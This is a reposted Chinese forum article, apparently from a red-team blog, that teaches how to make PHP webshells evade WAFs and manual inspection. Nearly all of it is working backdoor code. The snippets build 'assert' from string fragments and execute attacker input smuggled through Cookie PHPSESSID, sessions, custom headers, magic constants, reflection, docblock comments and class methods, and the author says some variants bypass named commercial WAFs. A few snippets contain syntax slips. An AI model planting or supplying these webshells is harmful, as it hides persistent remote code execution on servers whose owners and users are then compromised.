|
本帖最后由 wangqiang 于 2022-6-22 17:46 编辑
什么?你还不会webshell免杀?(二)
原创 naihe567 红队蓝军
2022-06-21 09:21 发表于湖北
转载地址:什么?你还不会webshell免杀?(二)
webshell免杀之传参方式及特征绕过
传参方式
在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏,下面就是常用的几种方式
1.Cookie
由于Cookie基本上是每个web应用都需要使用到的,php应用在默认情况下,在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置
- <?php
- session_start();
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- $c(base64_decode($_COOKIE["PHPSESSID"]));
- ?>
复制代码
使用burp抓包
将内容改成base64加密后的命令
可以看到已经执行成功了,可以看到这个迷惑去非常强,如果不仔细排查是不容易发现的,由于webshell的session和网站本身业务并没有关系,所以这个PHPSESSID可以随意修改
2.Session
session的传参方式其实算是一种间接传产方式,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改,因此需要准备两个文件,
一个是将输入的参数传入session,另一个就是将session中的内容取出并执行命令
这里依旧沿用上面的cookie传参
给session传入参数
- <?php
- session_start();
- $_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);
- ?>
复制代码
取出session内容并执行,其实下面的代码是可以直接插入到正常页面中的,增加迷惑性,因为一般正常页面返回的html代码是比较多的,如果我们将内容回显的正常页面当中是比较难发现的
- <?php
- session_start();
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- $c($_SESSION['dmeo']);
- ?>
复制代码
在test.php下通过cookie添加session,注意这个PHPSESSID的值其实就是一个session文件,每当有一个新的sessionid都会生成一个新的session文件,
因此这个文件名我们是可以随意修改的,在这里的sessionid不但是文件名,而且也是我们的base64加密后的命令,这里只需要了解一下即可
访问命令执行的页面,并添加其cookie,即可跨页面传递参数,如果用这种方式传参是比较难发现的
总结:session传参其实就是一种参数转移的感觉
3.自定义头
自定义请求头其实也是作为一种伪装的请求方式,你可以选择完全自定义一个请求头进行参数传递,但是很多waf也会检测一些没出现过的请求头容易被识别出来,
且一旦在日志中被找到一个以这种方式传参,很容易就能查找到使用数据包,还是不稳当,与cookie相比,cookie本身就是一堆随机数不好区分
- <?php
- session_start();
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- $c(getallheaders()['Demo']);
- ?>
复制代码
4.php伪协议- <?php
- $q=$_GET[1];
- file_get_contents("php".$q)($_GET[2]);
复制代码
特征绕过
在这里为什么我会将特征绕过,而并没有像其他博客上写的那些,整一堆混淆的方法,原因就是因为,waf毕竟还是通过特征判断的,只有知道了,
waf匹配的正则表达式大概是什么样的,webshell的免杀有真正的意义
数据特征绕过
1.$_xxx[xxx] 绕过:
看这个特征可以发现很明显的是一个获取参数的语句,但为什么我会将起列举出来了,因为在很多情况下,现在的web应用大多都是使用的框架,基本上所有的
获取请求参数内容的方法都是经过框架封装过的,最原始的获取参数内容的方式已经非常少见了,很容易通过一些命令如linux下的find命令通过正则表达式即可
找到对应的webshell,很容易被发现,因此不使用该特征是很有必要的
1.1 {}
使用{}来替代[]是在ctf中十分常见的绕过方式
- <?php
- echo $_GET{"demo"};
复制代码
1.2 foreach语句
利用复合变量加foreach,获取参数中的内容,其特点并没有[],不容易被识别
- <?php
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- foreach (array('_GET') as $r){
- foreach ($r as $k =>$v){
- $c($v);
- }
- }
复制代码
自定义请求头
使用自定义的请求头同样是没有上面的特征
- <?php
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- $c(getallheaders()['Demo']);
- >
复制代码
2.xxx) 绕过:
这个特征大致就是某盾,某狗等的正则表达式匹配的内容,只要去消除此特征即可免杀
2.1 ""特性
该原理就是""中的变量不会被当做字符串使用,会被解析,经过测试该方法基本失效
- <?php
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- $f = $_POST[1]
- $c("$f");
- >
复制代码
2.2 回调函数
- <?php
- function demo()
- {
- return $_GET["a"];
- }
- demo()($_GET["b"]);
复制代码
2.3 魔术常量
可以用到的4种魔术常量
- __FILE__:返回当前文件的绝对路径(包含文件名)。
- __FUNCTION__:返回当前函数(或方法)的名称。
- __CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。
- __NAMESPACE__:返回当前文件的命名空间的名称。
复制代码- __FILE__的利用,将webshell的名字改为base64编码后的内容
复制代码- <?php
- base64_decode(basename(__FILE__,".php"))($_POST[1]);
复制代码
- __FUNCTION__的利用,将webshell的名字改为base64编码后的内容
复制代码- <?php
- function assert2(){
- substr(__FUNCTION__,0,6)($_GET[1]);
- }
- assert2();
复制代码
- <?php
- class assert2{
- static function demo(){
- substr(__CLASS__,0,6)($_GET[1]);
- }
- }
- assert2::demo();
复制代码
- <?php
- namespace assert2;
- substr(__NAMESPACE__,0,6)($_GET[1]);
复制代码
以上的4种基于魔术常量的免杀webshell都是可以绕过某盾的
当然在实战种还是要像上一篇文章一样,将传入的参数进行加密处理,如果再把传参方式改为cookie的那就很完美了
2.5 自定义常量
- <?php
- define("DEMO",$_GET[1]."ert");
- substr(DEMO,0)($_GET[2]);
复制代码
2.4 分离免杀
顾名思义,就是将一个马拆分成两部分,及使用file_get_contents()将内容读取出来,为什么不使用include等这些文件包含函数了?
因为webshell的免杀在于动态函数的调用,最终还是要拼接在一起,绕过的原则其实就是绕过waf的正则表达式,如果直接include其实和写在一个文件里没啥区别
- <?php
- file_get_contents("test.txt")($_GET[1]);
复制代码
2.5 注释及空白符混淆
这种方式和sql注入差不多,原理就是php允许在括号中添加注释符和空白符并不会影响代码正常运行
- <?php
- $func = $_GET["func"];
- $a = "a";
- $s = "s";
- $c=$a.$s.$_GET["func2"];
- $c(//);//(
- $func//);//);
- )
- ?>
复制代码
这里方式可以绕某狗,但过不了某盾
2.6 反射调用
反射类及反射类方法
- <?php
- $class = new \ReflectionClass('Site\\Website'); // 以类名 Website 作为参数,即可创建 Website 类的反射类
- $properties = $class->getProperties(); // 以数组的形式返回 Website 类的所有属性
- $property = $class->getProperty('name'); // 获取 Website 类的 name 属性
- $methods = $class->getMethods(); // 以数组的形式返回 Website 类的所有方法
- $method = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
- $constants = $class->getConstants(); // 以数组的形式获取所有常量
- $constant = $class->getConstant('TITLE'); // 获取 TITLE 常量
- $namespace = $class->getNamespaceName(); // 获取类的命名空间
- $comment_class = $class->getDocComment(); // 获取 Website 类的注释文档,即定义在类之前的注释
- $comment_method = $class->getMethod('getUrl')->getDocComment(); // 获取 Website 类中 getUrl 方法的注释文档
- ?>
复制代码
通过属性名免杀
- <?php
- class a{
- public $assert2;
- }
- $class = new ReflectionClass(new a());
- substr($class->getProperties()[0]->name,0,6)($_GET[1]);
复制代码
通过注释免杀
- <?php
- /**
- *phpinfo*/
- class A
- {
- public static function B()
- {
- return $_POST[1];
- }
- }
- $re = new ReflectionClass(new A());
- $a = str_ireplace(" ","",str_ireplace("\n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));
- substr($a,1)(A::B());
复制代码
2.7 类调用
类方法调用
- <?php
- class a{
- function demo(){
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- return $c;
- }
- }
- $s = new a();
- $s->demo()($_GET[1]);
复制代码
类的静态方法
- <?php
- class a{
- static function demo(){
- $a = "a";
- $s = "s";
- $c=$a.$s."sert";
- return $c;
- }
- }
- a::demo()($_GET[1]);
复制代码
总结
webshell的免杀前提是要分析出waf大概的规则,如果盲目尝试是无法有更快的提示,正所谓大道至简,本文以最简单的代码解释了免杀的方法,
原理以及waf背后的逻辑,对于更高级的waf,本文列举了很多种方法,在必要的时候是需要将多种方法合并使用的,以达到最好效果,最后有的
绕过方式实在是太老了就没必要讲,如无特征马说是无特征,但这所谓的无特征就是它的最大特征,物联网是人类创造的,所有的东西都满足人类逻辑,
不要死记硬背那些复杂的免杀马,只有清楚背后的逻辑才能真正的有所提升。
|
|